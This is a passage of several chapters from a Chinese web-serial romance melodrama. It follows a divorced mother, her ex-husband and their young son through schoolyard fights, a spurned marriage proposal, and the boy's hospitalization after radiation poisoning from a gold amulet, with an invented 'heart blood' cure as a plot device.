他一边打架一边哭着争辩,“我有爸爸,我有爸爸,不许说我没爸爸……”
他把那个说他没爸爸的小朋友,打得老惨了。
宋南伊又是赔钱,又是赔不是,这才求得了家长的谅解。
这几天,小家伙都不爱说话了。
她觉得挺对不起他的。
“我在想,
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要不要给他找个新爸爸,或许可以弥补一下他心里的空缺。”
宋南伊淡淡的。
她托着腮。
茫然得像说了句梦话。
裴吟举双手赞成,“可以啊,有目标了没?我给你参谋一下。”
“实在不行就去相亲吧,找一个喜欢小孩的,没有乱七八糟的关系,家庭背景也简单的,不能生育,没有性需求的最好……”
宋南伊话还没说完。
就被裴吟打断。
“什么呀,你找老公不得找职业体面,家族背景深厚,而且人也好的,比如说什么医生啊,律师啊,财阀之类的,全面碾压霍时序,让他自行惭愧,才是正确的打开方式。”
宋南伊干笑。
就她,一个单亲妈妈,带着一个小男孩。
要求会不会太高了。
“哦对了南伊,不仅这些条件要配得上,我觉得你应该从霍时序的身边的朋友下手,他不是有个发小叫什么……陆为谦吗?一个大律师,人也帅,又有钱,就他,你就找他,气死霍时序。”
宋南伊要石化了。
这一世,她就是刻意地避开了陆为谦。
祸害人的事,她可不干。
“我看你才最配他,人家没结婚的,凭什么要娶一个离过婚的单亲妈妈?你脑子正常点吧。”
宋南伊拒绝了。
恨不得裴吟把这念头赶紧的掐断。
上一世,因为她给陆为谦带去了太多的困扰。
做人得有良心啊。
他是个好人。
别坑他。
“好吧。”裴吟无话可说。
结婚不是别的。
她不是为了自己,是为小核桃。
她还需要问过小核桃的意见。
“你好二位,那边那位先生,为你们买了单。”服务过来跟宋南伊和裴吟说话。
二人不约而同地同时望了过去。
是陆为谦。
这也太巧了吧。
他冲她们抬手,算是打了个招呼。
宋南伊尴尬地收回视线。
一时,不知道该如何。
临走时,对裴吟说,“你欠他一个人情,别忘记还。”
“怎么是我还她的人情呢?”
“今天是你请客,他买了单,是替你买的,所以人情是你欠的,与我无关。”宋南伊笑着,眼底有一些不易察觉的深意。
裴吟只好认下,“行吧,算我欠他一个人情,有机会还给他就是了。”
第129章 求婚
二人一起走出店门。
摆手再见后。
宋南伊准备开车回家。
刚拉开车门,就听到有人唤她的名字。
“南伊。”
是陆为谦。
她以为他早离开了。
“陆律师。”她尽量让自己忘记前世的事情,面色平和,“有事?”
“刚刚为你们买单,没有造成困扰吧?”
宋南伊笑笑,“那倒没有,不过谢谢你陆律师。”
“都是朋友。”他可能是觉得朋友这个词,会引起宋南伊的反感,尴尬地笑了笑,“当然,我的意思是,如果你不介意朋友买单的话。”
“不介意。”
“我姐过几个月要订婚了,我想送她一套首饰,她挺喜欢你工作室的品牌和设计,你看哪天方便,我想跟你详谈一下。”
宋南伊微微一顿。
生意上的事情,她没有理由拒绝。
如刻意回避的话,也有失风度。
“好啊,周一周五我都有时间,你随时可以过来。”
“那就约在下周三吧。”他脸上是温润如水的笑意。
宋南伊点头,“没问题,我让邓雪安排一下。”
二人客气告别。
有不怀好意的狗仔拍下二人交谈的照片。
配文,霍氏总裁告白真爱,前妻亦是春花朵朵开。
偌大字写着,豪门没有爱情。
常可欣把头条上的新闻,给霍时序看。
“你看,宋小姐也寻着真爱了,真好,陆律师也算是律师界有头有脸的人物,她一定会很幸福的。”
霍时序脸色沉闷,漆黑如墨。
他没说话,常可欣继续说,“其实,以宋小姐的姿色,随便嫁嫁,也能有不错的归宿,时序,你应该感到高兴才是。”
“我哪儿不高兴了?”他看向她,有一抹厉色。
常可欣尴尬的笑笑,“当然没有。”
她是个女人。
可以从霍时序细枝末节的微表情中,感受到他的不愉快。
男人,有一点占有欲也正常。
哪怕是前妻。
哪怕已经不爱了。
也不愿意看到这些。
她不去计较。
“我去给你冲杯咖啡。”
常可欣起身去了咖啡机旁。
蓝烟往客厅里看了一眼霍时序,悄无声息地走到常可欣的身旁,“常老师,你惹我哥生气了?”
“你哥没有生气啊。”她脸上淡而从容的微笑。
蓝烟撇嘴,“我哥生气是什么样儿,我能不知道?常老师,他八成是看到宋南伊和陆为谦搞在一起的新闻,生气了,说得直白一些,他在吃醋呢。”
常可欣不认可这样的判断。
过去的就过去了。
哪有人永远活在过去呢。
“你别胡说。”
“我怎么是胡说呢,你不了解宋南伊,这新闻八成是她让狗仔故意放出来的,目的嘛……”蓝烟看着专注在冲咖啡的女人,“……就是要搅和你和我哥的好事。”
“如果感情这事,能随便被搅和,那就不是真爱。”宋南伊冲好咖啡,给了蓝烟一杯,“你的眼睛别老盯着你哥。”
蓝烟接过咖啡,鄙夷地撇了常可欣一眼,可笑道,“什么真爱不真爱的,你还以为你跟我哥是真爱呢?真可笑。”
蓝烟取笑着,扭身上了楼。
常可欣心里不舒服。
她透过玻璃,看向客厅里失神的男人。
他指尖的烟,已经许久没吸了。
再不掐断,就会烧到手指,而他毫无感觉。
他还是爱着前妻的吧。
那女人实在是明媚,实在漂亮。
如果他吃回头草。
那她该何去何从呢?
她想,要不,她来主动吧。
主动地将这段关系升华,主动开启新的篇章。
周末。
常可欣订了一家高级餐厅。
她很紧张,给霍时序打了电话时,声音都有些颤抖。
“我有一件重要的事情,要同你讲,你有时间过来吗?”
霍时序没有拒绝,“地址发给我。”
“好。”
常可欣的心跳得很快。
尽管包厢已经很有喜庆的氛围,她还是叫了几名学生来帮着再装饰一下。
“常老师,是要求婚吗?这也太像求婚现场了。”
“就是,不会是你向别人求婚吧?常老师,你遇到真爱了?勇气可嘉啊,我好佩服你。”
“真爱,不分你我,男人求婚,女人求婚都是一样的,常老师祝你成功啊。”
同学们你一言我一语。
只有宋星言在沉默。
常可欣递给他一杯奶茶,“星言,怎么了发起呆来了?你觉得老师今天求婚能成功吗?”
宋星言看向女人弯起的唇角。
突然觉得心里很难过。
“常老师,你要求婚的对象,是我姐夫吗?”
常可欣抿唇,有些不好意思的,将碎发别到耳后的位置,“嗯……
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准确的说,是你的前姐夫,他现在在跟我交往,我觉得我们是时候,迈入到新的阶段,你觉得呢?”
宋星言给不出答案。
只是一味的酸涩苦笑。
“常老师,你求婚,我在这儿不合适吧,我就先走了。”
宋星言抓起自己的背包。
头也不回地离开。
走到酒店门口的时候。
刚好霍时序拐着拐杖往里走。
“星言?”
宋星言怨恨地瞪了他一眼,“陈世美。”
霍时序:……???
推开包厢的门。
看到一地的蓝色玫瑰花,以及那些白蓝相间的气球,他也明白了个七七八八。
他是真没想到,常可欣会搞这种仪式。
他完全没有准备。
“时序,这是我这一辈子做得最勇敢的事情。”常可欣单膝跪地,举起了手中的戒指,“从我们相遇的那一天起,就注定了我会爱你,时序,我爱你,我愿意跟你生活一辈子,你可以娶我吗?”
霍时序平静地看向激动的女人。
他曾经也是这样,满含热泪地,向宋南伊求过婚。
那时的他,比现在的常可欣失态多了。
情话说得,又内涵和又肉麻。
人变了,场景变了,求婚不像求婚,更像是往脖子套枷锁。
“常老师,我并不觉得,我们已经到了谈婚论嫁的地步,抱歉……”他不是犹豫,只是想把话聊透,“……你先起来吧。”
“时序,结婚是冲动,不是准备好了,我愿意时序,不管你是什么样子的你,我愿意陪着你,照顾你,我真的愿意,你娶我好吗?”
他的指尖犹豫。
慢慢地攥成了拳头。
“砰。”
包厢的门,从外面打开。
是宋星言去而复返,“霍时序,亏我叫你了那么多年姐夫,你抛弃我姐也就算了,你还要成为别人的后爹,你知道小核桃在学校里被人欺负,说他没有爸爸,他有多难过吗?你连一个亲生父亲都不做不好,你还在这儿求上婚了,你真的……太不要脸了。”
宋星言涨红着脸。
脖子也粗了。
他太生气了,替姐姐不值,替小核桃不平,“我不是要阻止你再婚,最起码,你要尽到一个父亲的责任,小核桃他没有错,他也不是我姐一个人的,如果你真的不想做他的父亲,那我们就替他改姓,你以后都不要再见他,你再跟别人生吧。”
第130章 咬掉别人的耳朵
他也不知道自己说了些什么。
反正就是觉得霍时序,挺无情无义的。
常可欣面上,有些下不来台。
又不好当着霍时序的面,说一些指责宋星言的话。
眼看着,霍时序脸色越来越沉。
她急了,“时序,结婚和照顾你儿子并不冲突,以前,我们做的不好,以后,我会和你一起照顾他,我会视如己出的。”
霍时序的目光,然落在宋星言的身上。
根本就无瑕顾及常可欣。
“星言……”
“别叫我。”宋星言已经被霍时序伤透了心,“你好好浪漫吧,你再也不是我姐夫了,我也没有你这样的姐夫,我以后会有很好的姐夫,反正不会是你。”
宋星言替宋南伊不值。
跑了。
出来坐在自行车上,偷偷地摸眼泪。
“星言,你怎么哭了?”同学周薇薇快步走过来,“谁欺负你了?”
“没谁。”宋星言倔强地擦干了眼角的泪。
周薇薇掩唇笑,“没事,我不笑话你。”
“我走了。”
“你是要回学校吗?”
“是啊,怎么了?”
周薇薇晃了晃手上的牛皮袋,“正好,我替我爸送一份体检报告,你等我一会儿,我们一起走。”
宋星言不解。
“你跑到吃饭的地方,来送体检报告?”
周薇薇点头,很无奈地说,“对啊,我爸说他在这儿用餐,要我一定要送到他手里,你等我一下,我马上出来。”
周薇薇跑进了餐厅。
不过十分钟,就跑了出来。
“走吧。”
宋星言拍了拍车子后座,“我可没车,只有这个。”
“自行车就很好了,承蒙你不嫌弃,载我一程。”女孩笑着说。
宋星言也笑了,一脚噔出去,“周大小姐可真会取笑人,想必让周大小姐亲自送体检报告的,也是江城响当当的人物。”
“他叫霍时序。”
“谁?”宋星言以为听错了,“你说他叫什么?”
“霍时序啊,当年他脊椎断了,腰椎也断了,腿也断了,眼睛也差点瞎掉,送到我爸那儿的时候,人都快断气了,还真是惨,后来勉强救回一口气,就赶紧专机送国外,是我爸和他的老师一起,才把他救活的。”
宋星言当下一愣。
他听父母说,霍时序是在国外出的事,怎么……
“他什么时候出的事啊?在国内吗?没看到新闻啊?”
“怎么会没看到新闻呢,前年有一个仓库着火了,还发生了**,就是那时发生的事情。”
宋星言猛地攥住刹车。
像是记起了什么。
那场大火,让霍时序受了很严重的伤吗?
所以……
“周薇薇,我突然想起好像落家什么东西了,要不你打个车回学校吧,我先回家一趟。”
说完,宋星言骑着自行车就走了。
“哎,宋星言,宋星言……”
……
周三。
宋南伊接待了陆为谦。
他对珠宝没什么要求,只要求简洁大方,预算是二百万。
宋南伊拿了几份,她亲自设计的草稿给他看。
“姐姐是医生又是教授,这几款成熟稳重,设计风格偏保守,但不失时尚元素,我觉得挺合适的,你看一眼。”
陆为谦诧异。
他从未跟她讲过姐姐的事情。
她怎么知道这些的。
“南伊,你怎么知道我姐是医生?”
宋南伊一愣,找了个理由,“网上搜得,很容易搜到的,对客户进行全方位的了解,是我们工作的一部分。”
陆为谦没怀疑。
还向她投来了赞赏的目光。
“我对珠宝也不是很懂,你就看着来吧。”对宋南伊,他抱百分百的信任。
宋南伊收起草稿,应下,“可以的,我们会开个会,讨论一下,定稿后,还会发给你确认的。”
“我相信你的专业。”
“谢谢。”
陆为谦欲言又止。
她看得出来,他想表达些什么。
她挺怕他说一些,她没有心理准备的话。
恰巧这时,宋南伊的手机响了起来。
她看了一眼是幼儿园打来的。
“喂,我是,什么?又打架了?伤着没有啊?咬坏了别人的耳朵?天哪,我马上过去,在哪个医院?好的,好的。”
小核桃又打架了。
把对方小朋友的耳朵,咬下一块肉来。
真是越来越不像话了。
“不好意思,陆律师,我有点急事要去处理,一会儿让邓雪跟你讲一下,你放心,一定不会误期的。”
宋南伊抓起包就往外走。
陆为谦急忙跟上,“需要我帮忙吗?如果是去医院的话,我或许可以说得上话。”
“那……一起吧。”
赶到医院时。
小核桃孤零零地坐在凳子上,黯然神伤。
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他很沮丧。
好像知道自己做错事情了,看到宋南伊走过来。
他满眼的抱歉和自责。
“对不起妈妈。”
宋南伊先检查了小核桃的身体,身上有很多抓伤。
鼻子也打破了,鼻孔里塞着卫生纸,但依然被血洇透。
“南伊,我先带小核桃去处理一下伤,你去找一下老师,看看对方小朋友的伤势,不管谁对谁错,咱们得先有个态度。”
陆为谦牵起核桃的手,“走吧,小核桃,叔叔先找人把你的鼻子处理一下。”
小核桃乖乖地跟着陆为谦走了。
宋南伊去找老师,见到了受伤的小朋友。
耳朵已经包扎了起来。
伤,并不比小核桃轻。
都是为人父母,宋南伊感到深深的抱歉。
只是这‘对不起’还没出口,对方就开始指责起来。
“不是我说你,你是怎么教育孩子的?你看把我们家儿子伤的?这脸上的伤就不说了,耳朵还给咬下块肉来,我告诉你小核桃妈妈,这事,我没完。”
小朋友的妈妈,跳着脚地骂宋南伊。
宋南伊点头哈腰的,说着道歉的话,“对不起丁丁妈妈,我家小核桃这次是过分了点,丁丁的医药费,我会出的,你也消消气,小孩子们嘛,打打闹闹也是正常的。”
“什么就正常了?”丁丁妈妈叉着腰,不依不饶,“让我们家丁丁去咬你家儿子,你看看正不正常?这是落下终身残疾的,这是毁容的,怎么就正常了?怎么就正常了……”
女人咄咄逼人。
宋南伊被她口水喷地,步步后退。
“你可真行,把故意伤害说得这么轻飘飘的,我告诉你,这事不算完,太没良心了。”
幼儿园的老师,出来打圆场,“丁丁妈妈,医生说了,这个伤口慢慢会长好的,你别太紧张的。”
“我怎么能不紧张,咬了那么大一个伤口,我们还要注射狂犬疫苗,想想就疼……”女人抽噎了起来。
宋南伊脸色也很难看。
这跟骂她儿子是狗,有什么区别。
幼儿园老师也很尴尬,“丁丁妈妈,破伤风已经打掉了,不用注射狂犬疫苗。”
“我不管,反正,我家儿子凭什么要受这样的伤害。”女人看着宋南伊,脸不是脸,鼻子不是鼻子,“这分明就是家教不行,到底是什么样的父母,教出这样超雄的孩子?超雄啊,这种人就不应该出生的。”
第131章 真爸爸,假爸爸
“够了。”
宋南伊忍无可忍。
小朋友打架本来正常,无论谁的对错,她愿意先道歉,已经拿出很好的处理态度。
她儿子怎么就超雄了?
怎么就家教不行了?
到底是谁在不讲理了?
“如果不是你们家丁丁,骂小核桃是个没爸爸的孩子,他怎么会打架?丁丁妈妈,你们家丁丁已经不止一次骂我们家小核桃了,你都没有教过吗?这样礼貌吗?这样就有教养了?”
“你,你……”女人气急败坏,指着宋南伊的鼻子骂,“我们家丁丁说错了吗?本来他就没有爸爸啊?怎么?没有爸爸还不让说了?还不让人有**了?”
宋南伊眼眶泛红。
她是离了婚,但小核桃不是没有爸爸。
这人怎么可以这么强词夺理?
“女士,我们小核桃有爸爸,你这样说话,会不会太伤人了?”
陆为谦牵着小核桃的手,走过来。
刚刚他已经问过小核桃了,是这个叫丁丁的孩子,天天追着他屁股后面骂脏话,他才忍不住动手的。
“而且,这事,本身就是你家孩子不对,你连最起码的态度都没有,这多少有些说不过去吧?”
女人看向温润尔雅的男人。
心猜着,这人是谁?
“你又是谁?”
“我是小核桃的爸爸。”陆为谦屏气说。
此话一出。
幼儿园老师,女人,宋南伊和小核桃,纷纷望向了他。
女人微顿了那么几秒后,大笑了起来,“谁知道你这个爸爸是真是假,要我说啊,没爸爸也不丢人,但找一个假爸爸来,可就太丢人了。”
宋南伊的脸色变了变。
但她还是很感激,这个时候,陆为谦挺身而出。
她想说算了。
跟这种人计较什么呢。
只会让自己越来越生气。
目的不过就是要钱。
她赔就是了。
“行了,你说个数吧。”宋南伊闭了闭眼。
女人眼眸微微动了动,“你们要包我们家儿子的全部医药费,另外,要赔一百万的精神损失费。”
“一百万?”
宋南伊震惊。
还真是狮子大开口。
“怎么?不想赔啊?那就赔我们耳朵,你赔,你赔……”
女人不算讲理。
耍起无赖来,宋南伊招架不住。
小核桃轻轻地抓了抓妈妈的手,委屈的眼泪直打转,“妈咪,是他先欺负我的,我才还手的,不要赔她们钱,是丁丁的错。”
宋南伊看着儿子,心疼地抱紧了他,“妈妈知道不是小核桃的错,妈妈知道你受委屈了。”
小核桃紧紧地搂着宋南伊的脖子。
扭头看向丁丁和他妈妈的眼神,透着这个年纪少的凶狠。
“我看你家儿子,还是没有意识到自己犯的错误,这眼神哦,凶**,还不是超雄呢,我告诉你哦,一百万,少一分也不行。”
女人咬死一口价。
宋南伊刚要争辩几句。
熟悉的男人声音,从众人身后响起,“谁欺负我儿子了?”
霍时序拄着拐杖走到了众人面前。
小核桃小嘴,颤抖了两下,哇的哭了起来。
霍时序单手将小核桃,从宋南伊的怀里接过来,“哭什么?有理说理,没理的时候,就打服他,告诉爸爸,打服他了吗?”
“打得他叫爷爷,还咬了他的耳朵。”小家伙说起来,还有点小自豪。
霍时序满意地勾起唇,“那就没有吃亏,好样的。”
“喂,你又是哪来的?怎么这么多爸爸?”女人嘲弄地笑了起来,“你们都快看啊,一个孩子,两个爸爸,哪个是真,哪个又是假?还是说两个都是真的?两个都是假的?”
女人笑声扬到了天上。
嘲笑令她的脸,扭曲变形。
霍时序抬手就给了女人一个耳光,“有没有清醒一点?”
女人被打得一懵。
她挨了一巴掌?
“你凭什么**?”笑声戛然,女人不忿,“你们这些男男女女的,一看关系就不正常,我说错了吗?我哪里说错了,刚刚那男的说是小核桃的爸爸,你又是他爸爸,难不成,你们两个男人共用一个女人?”
“啪。”
又一个耳光,打得女人原地转了个圈。
“看来还是不清醒,满嘴的胡话。”男人冷漠地将这个没完没了的女人,交给江淮处理,“把她送到派出
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所,就说她敲诈勒索,让她好好清醒清醒。”
“好的,霍总。”
聒噪终于结束。
霍时序抱着小核桃往外走。
宋南伊在原地顿了一下,急忙跟了上去。
“霍时序,你把儿子还给我。”
他粗淡了看了她一眼,“你就这么带儿子的?除了让他受委屈,你还会干什么?还搞出两个爸爸,宋南伊你真是出息了你。”
“你,我……”
陆为谦也跟了上来。
解释,“时序你别误会,我只是单纯地想帮一下南伊罢了。”
“你挺热心啊。”他耸起眉梢,“还给我儿子当上爸爸了?”
“你真的是误会了。”
陆为谦还是想着解释。
宋南伊将小核桃,从霍时序的怀里抢了回来,“我先回去了。”
陆为谦想追过去。
被霍时序抬起的拐杖拦下,“陆律师,我儿子有爸爸,不需要你来假好心,离我的妻儿远一点,对你有好处。”
“我只是出于好心,既然你不愿意,那以后就请做好小核桃的爸爸,保护好你的儿子,孩子还小,心灵上很容易受到伤害……”
霍时序不耐的打断了他的话,“我们家的事情,不用你管。”
在宋南伊系上安全带,准备驱车离开的时候。
霍时序坐进了她的车后排。
他将小核桃揽进怀里,细细地查看着他脸上的伤。
“疼吗?”
小家伙摇头,“不疼。”
“以后他要再说你没爸爸,你就打回去,有爸给你顶着,别怕。”
宋南伊嘶了一口,“霍时序,有你这么教育孩子的吗?什么就打回去?打架是好事吗?这次打架,那女人要一百万,下次呢,人家要一千万怎么办?钱是大风刮来的吗?”
她还没想好,如何应对那个难缠的丁丁妈。
霍时序倒好,不管也就算了,还不教孩子好。
“你下车,我不想看到你。”
宋南伊赶人。
霍时序坐着没动,“你想看到谁?陆为谦?宋南伊,这一世,你为什么还要招惹他,就真的对他这么旧情难忘吗?岳川,九爷,陆为谦,你到底要脚踩几条船,才肯甘心?”
第132章 小核桃病了
还真是欲加之罪,何患无辞。
绯闻加身的男人,现在也会制造绯闻了。
宋南伊冷笑,“跟你有关系吗?前夫。”
她下车。
拉开后车门,想把霍时序拽下车。
没拽动。
小核桃可怜巴巴地求她,“妈咪,让爸爸再陪我一会儿吧。”
小家伙的要求。
宋南伊很难不答应。
他现在需要爸爸,比任何时候都需要。
“如果你不介意,今天我带儿子一天,晚上给你送回去,行吗?”他说。
宋南伊脸很臭地同意了,“那你照顾好他。”
“谢谢妈咪,我会乖乖听话的。”
小家伙欢天喜地的,跟着霍时序下了车。
高大的男人,一手拄着拐仗,一手牵着小核桃,父子两个好像突然有了说不完的话。
所以……
小核桃那句,坏爸爸,是假的。
他是喜欢爸爸的。
他是想跟爸爸生活在一起的。
可他有女朋友了,以后也会结婚,也会有新的孩子,小核桃注定不会享受太多的父爱。
宋南伊感伤。
……
霍时序腿不好,腰也不能长时间的站立,但还是陪着小核桃,去了游乐园,坐了摇摆捶,旋转木马,摩天轮,还有月亮船。
对这个小家伙,他是有亏欠的。
当初只是想着,不拖累宋南伊,却没有考虑到离婚,对一个孩子的伤害。
他给儿子买了棉花糖。
买了妈妈不让吃的淀粉肠。
小核桃太开心了。
骑在爸爸的肩头,手持激光双头伸缩剑,像个高傲的骑士。
“爸爸,我现在感觉,可勇猛了。”
“是吗?这么厉害?”
突然,他用小手捂住了鼻子。
“爸爸,我好像又流鼻血了。”
霍时序立马将他从肩头上抱下来,拿了手帕给他擦,“是不是上火了?”
“呕……”
小核桃吐了。
将所有吃进的东西,全部吐了出来。
呕吐物中,霍时序看到了血。
意识到了事情的严重性。
他抱起小核桃,一刻也没敢停,直接送去了医院。
他以为是吃什么东西,伤到了食道或是胃。
当医生告诉他,比这还要严重。
“孩子是受了辐射,而且,身体已经有了严重的反应,免疫系统受到破坏,需要住院再进行详细的检查。
”
“你说的辐射是什么?小孩子不可能接触到有辐射的东西,会不会这检查有误啊?”
医生推了推鼻梁的眼镜,表情沉重,“这孩子的情况,应该是长期接触到一些带有辐射的东西,引起身体的病变,如果你们的工作并不能接触到辐射,那你们有没有给他戴一些护身符之类的?”
霍时序想到了小核桃脖子上那个小金锁。
他说是奶奶送他的护身符。
黄金怎么会有辐射呢?
当即。
霍时序便让江淮拿了小核桃的小金锁,去有关机构鉴定。
宋南伊接到消息。
急慌慌地赶到了医院。
由于太过于紧张。
一进门就摔倒了。
霍时序单手将她从地上拎起,“别急。”
“儿子怎么样了?”她看向病床上沉睡的小核桃,明明他带儿子走的时候,还好好的,“你把他怎么着了?他为什么会到医院里来?霍时序,你倒是说啊,他哪伤着了?胳膊,手,还是腿啊?”
“最终诊断还没有出来,只是说他受了长期的辐射……”
霍时序话还没完全说完。
宋南伊的身子就软了。
一听辐射这种词,就会想到那些放射性金属元素,不是死就是残,要么就是患癌,终身与病床为伴。
可一个小孩子,怎么会接触到这么危险的东西呢?
长期是多长?
一年,两年,还是……
“不可能,家里不会有如此危险的东西,幼儿园里更不可能有,到底是哪里出了问题?”
宋南伊慌了。
失去了判断和主张。
原本活蹦乱跳,还会打架的儿子,怎么短短半天,就这些虚弱的躺在了病床上。
她如何能接受?
“具体得了什么病,严重程度,得等做完全面的检查,才能出结果。”
她颤着指尖抓着霍时序的胳膊问,“会很严重吗?”
他不想骗她。
又怕她接受不了真相。
“可能会吧。”
她摇着头,不接受,“怎么会这样?”
“怎么会这样呢?”
她呢喃着。
眼眶里全是泪。
咬破嘴唇,愣是没让自己出声。
他心疼她,想抱抱她。
宋南伊转身跑出了病房。
看着走廊尽头,那个纤瘦,肩头一耸一耸的背影。
霍时序的心被扯疼。
晚上,江淮拿来了小金锁的检验报告。
“
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是一种跟镭差不多元素的辐射液体,它能够很快被黄金吸收共存,然后长年累月的散发辐射,让人的身体在不知不觉中,被毒化,小少爷的身体出问题,就是这个东西造成的。”
霍时序震惊。
宋南伊亦然。
“这小金锁是小核桃的奶奶送给他的,她再三叮嘱说是她求来保平安的,让我给他戴上,难不成是……”
宋南伊有怀疑。
但并不认为这事是前婆婆干的。
她那么疼小核桃。
那会是谁呢?
她想到了一个人,蓝烟。
东西是她送来的,会不会是她动了手脚?
如果真的是她,她又为什么要害一个孩子呢?
“……会是蓝烟吗?”宋南伊看向霍时序,“东西是她拿过来的。”
霍时序没说话。
是蓝烟又或是旁人,这事早晚会调查出来。
现在最重要的是,先救治儿子。
“我会让江淮去查。”
宋南伊点头。
看着病床上的儿子,她的心都碎了。
从小到大,他强壮得像只小老虎,连感冒都没有过,如今却被毒害成这个样子。
她这个妈妈不合格。
“你们回去吧,我留下来照顾小核桃。”
她有太多的对不起。
医生还没有把全部的检查报告拿过来。
她心里是怕的。
当年,她冒着那样大的风险,生下他,她是希望他一生平安的。
小核桃是她身上掉下来的肉。
她接受不了坏的结果。
但好像,又不得不面对坏的结果。
宋南伊一夜无眠。
霍时序也陪了一夜。
一大早医生过来查房。
他没多说什么。
而是叫了二人去医生办公室谈。
他将昨天检查的结果,告知了宋南伊和霍时序。
“免疫系统出了问题,诱发了血液病,除此以外,心脏是受损最严重的,你们要做好心理准备。”
医生语气沉重。
宋南伊眼前一黑,差一点就晕过去。
她想说些什么,喉间哽咽,什么声音也出不来。
“江淮,把太太带出去。”霍时序说。
宋南伊不想走,一直摇头。
可她的身子太虚弱,人是软的,一点力气都没有。
不得不**淮带到了外面。
霍时序深呼吸,半晌,才让自己平静地面对这一切。
“没得救了吗?”
第133章 心头血
“这么小的孩子,说没得救,其实也有得救,请问一下,他的兄弟姐妹吗?或是,他出生的时候,有没有储存脐带血?如果有兄弟姐妹可以跟他配型,存在一定的救治几率,如果有脐带血的话,更好了,治愈的概率,大大提高。”
霍时序沉默了。
每一个希望,在他这里都变成了绝望。
“还有别的办法吗?”
医生会意,遗憾地摇了摇头,“如果没有兄弟姐妹,也没有脐带血,那只能靠药物治疗,时间长,副作用大,最后极有可能会……人财两空,除此之外……倒是也有办法……”
“什么办法?”
霍时序从医生闪烁的眼神里。
读出了某些不算简单的深意。
“曹医生,你就说吧,我是孩子的父亲,就算是用一命换一命,我也愿意。”
“方法有两个,一个比较简单,就是你和孩子的妈妈再生一个宝宝,取脐带血用来治疗,这样的成功率差不多有七成左右。”
“因为是同父同母,所以,治疗成功的概率,比较高,你可以考虑一下。”
霍时序彷徨。
再生一个孩子?
七成?
许久,他摇了摇头,想听听另外的办法,“那另外一个呢?”
“另外一个办法就危险性就比较高,但治疗的效果会更好一些,差不多有九成左右。”
“你说。”霍时序秉住呼吸。
只要能救活儿子。
任何的问题,对他来说,都不是问题。
医生的语气变得,更加沉重,“人的心都有一滴心头血,这滴血是稳住心神,令人心神不散的神血,取这心头血,与你们父母的骨髓干细胞,一起提取抽纯,
就会得到一种可以治疗小家伙病的药,这是我当年我学医时,我的老师亲传的,但从来没有实验过,因为取了这滴心头血,严重的,人会慢慢在心神不宁中疯魔……”
取了心头血,不仅心脏会出现严重的问题。
人也会慢慢失去记忆,疯掉。
副作用大到,这样的治疗方法,只存在于书本当中。
没人敢轻易地尝试。
“霍先生,不如,您好好跟太太商量一下,再生一胎吧,或许还来得及。”
霍时序苦笑。
七成的成功率,对于一个急需要儿子健康的父亲来说,并不是多么高的治疗愈。
十个月的孕育。
这期间,小核桃能不能熬过去,还是未知数。
就算小家伙可以挺住。
宋南伊还要经历生产的风险。
不如,就直接取了他的心头血,一了百了。
“曹医生,还是用你最后说的这种方法吧,我儿子的病等不起,他现在太虚弱了。”
医生理解做父母的心情。
面对子女的生死,大多想的都是以命换命。
深叹一口,“那我们准备一下,你也准备一下。”
“嗯。”
霍时序黯然的走出医生的办公室。
所谓准备。
不过是让他在清醒的时候,把该安排的安排了。
推开病房的门。
宋南伊已经守在了小核桃的身旁。
她明显是哭过了。
眼眶又红又肿。
“医生怎么说?有没有好的治疗方法?”
霍时序挤了抹笑,故作轻松地说,“有治疗的方法,而且效果会不错,你不用太担心,这段时间,你就好好陪好小核桃,我还有一些工作上的事情,需要处理,可能不能经常过来。”
宋南伊像是松了口气。
小脸不再绷得那么紧,“真的吗?你没骗我?”
“骗你做什么。”
他没敢再看宋南伊的眼神,她的注意力都在小核桃身上,也没有质疑。
二人静静地坐着。
许久。
宋南伊才沉闷出声,“小核桃生病这事,你就别跟你妈说了,她本来身体就不好,要是知道因为她送的小金锁出了问题,她会自责死的。”
“知道了。”
他很安静。
通常是她在望着小核桃的时候,他望着她的侧脸发呆。
好像一瞬间,所有美好的回忆统统涌了上来。
那些年。
他爱她,爱得那样热烈。
爱的没有底线,也没有上限。
他最喜欢将她举到自己的肩头,他喜欢她害怕抱着自己的脑袋说,“霍时序,你能不能放我下来,你真讨厌。”
那时她笑得多甜啊。
她说她不想结了婚就生孩子,还没有过够跟他的二人世界,他依了。
甚至,他都做好了一辈子丁克的准备。
只因为她喜欢。
那时的他,为了爱情,是那样的奋不顾身。
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>现在呢?
如果肯给他机会,他同样也会奋不顾身。
他笑了。
他已经没有机会了。
“时序。”有人推门走了进来。
是常可欣。
她听说小核桃病了,买了很多营养品。
“抱歉,我也是刚刚知道……小宝贝还好吧?时序,你怎么不跟我讲呢,这两天没见你,害我好担心。”
常可欣娇嗔着埋怨霍时序。
有一些打情骂俏在里面。
宋南伊心绪很乱,烦躁打断,“你们都回去吧,小核桃需要休息,这有我就够了。”
“宋小姐,真的不需要我帮忙吗?我是时序的女朋友,照顾小宝贝,也是责无旁贷的事情,你不用跟我客气。”
常可欣的热心,过于刻意。
想要讨霍时序的欢心一般。
宋南伊更烦了,“不用,你们走吧。”
霍时序起身,叫上常可欣,“那我们就先走了。”
走出病房。
男人拄着拐,步子走得很快。
常可欣猜他是生气了。
“时序,你是不是生我气了?我就是担心小核桃,才过来看望他的,我就是太着急了,才没有告诉你我过来,一个小孩子受了这么大的苦,我真的是可怜宋小姐,你别误会。”
她小跑着跟在他身后解释。
他没有兴趣听。
走到车边的时候,他才停下来,冷冷清清的说,“小核桃病了,我现在没有心情谈恋爱,我们的事情,就到此结束吧,抱歉,耽误了你这么久的时间。”
“你要跟我分手吗?”她抱住他的胳膊,眼眶通红,“时序,你现在没法分心我这边,我可以理解,没关系的,你忙你的,不用顾及我这边的,我不要分手,我是想跟你结婚的。”
他拉开车门,弯身坐了进去,“我会给你补偿的,过两天,我让江淮联系你。”
车门关上。
车子绝尘而去。
常可欣不甘。
感觉自己被耍了。
江淮不解地问霍时序,“霍总,您真的要跟常老师分手啊?我觉得她挺适合当贤妻良母的,现在霍氏的情况,是需要一个妻子这样身份的人跟您站在一起的,您真的就……”
霍时序揉着太阳穴。
淡无生气地说,“找律师团队,帮我起草遗嘱吧。”
……
第134章 再婚的日子跟儿子手术同一天
宋知令和南微知道小核桃出事。
饭都没吃就立即过来。
到底是隔辈。
看到小小的人儿,躺在大大的病床上,心疼的眼泪,怎么也擦不完。
“这人怎么这么坏啊,这么小的孩子,她都要害,报警了没有啊,把她抓起来,别再害人了。”
南微紧紧地握着小核桃的小手。
亲了又亲。
小核桃变得很懂事,一个劲儿地安慰外婆,“我没事的外婆,我很快就会好起来了,你别哭。”
